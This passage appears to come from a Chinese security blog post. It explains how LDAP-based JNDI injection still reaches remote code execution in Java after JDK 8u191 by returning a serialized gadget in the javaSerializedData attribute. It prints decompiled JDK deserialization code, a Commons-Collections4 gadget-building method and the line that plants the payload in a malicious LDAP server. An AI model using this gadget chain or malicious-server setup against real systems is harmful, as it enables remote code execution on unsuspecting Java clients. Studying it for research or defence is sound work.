main:42, JndiAttackLookup (com.threedr3am.bug.rmi.client)private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
try {
ByteArrayInputStream var2 = new ByteArrayInputStream(var0);
try {
Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1);
Throwable var21 = null;
Object var5;
try {
var5 = ((ObjectInputStream)var20).readObject();
} catch (Throwable var16) {
var21 = var16;
throw var16;
} finally {
if (var20 != null) {
if (var21 != null) {
try {
((ObjectInputStream)var20).close();
} catch (Throwable var15) {
var21.addSuppressed(var15);
}
} else {
((ObjectInputStream)var20).close();
}
}
}
return var5;
} catch (ClassNotFoundException var18) {
NamingException var4 = new NamingException();
var4.setRootCause(var18);
throw var4;
}
} catch (IOException var19) {
NamingException var3 = new NamingException();
var3.setRootCause(var19);
throw var3;
}
}也就是，可以通过修改ldap服务的对象返回内容，达到反序列化攻击
为什么呢，看上一层
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}其中(var1 = var0.get(JAVA_ATTRIBUTES[1])) != null判断了JAVA_ATTRIBUTES[1]是否为空，这是哪个参数呢？
static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};是一个名为javaSerializedData的参数，所以，我们可以通过修改ldap服务直接返回javaSerializedData参数的数据（序列化gadget数据），达到反序列化RCE
首先，我们通过该方法，制造Common-Collectios4 gadget的base64序列化数据
private static byte[] makePayload(String[] args) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(args[0]);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}接着，添加ldap服务的attribute javaSerializedData
e.addAttribute("javaSerializedData", classData);总结：jdk8u191后，ldap Reference的攻击方式不能使用，需要通过javaSerializedData返回序列化gadget方式实现
0x03 JRMP Gadget还有用吗？
很多人以为天天讲RMI攻击什么的，觉得很鸡肋，其实并不然，其中涉及到的很多知识，在其他地方我们完全能用上，就比如，我们使用RMI和LDAP协议的JNDI去攻击客户端，以及我前段时间讲的Shiro文章《Apache Shiro源码浅析之从远古洞到最新PaddingOracle CBC》，完全可以利用JRMPClient的gadget payload去加快Padding Oracle CBC攻击的速度等等...
参考
如有侵权请联系:admin#unsafe.sh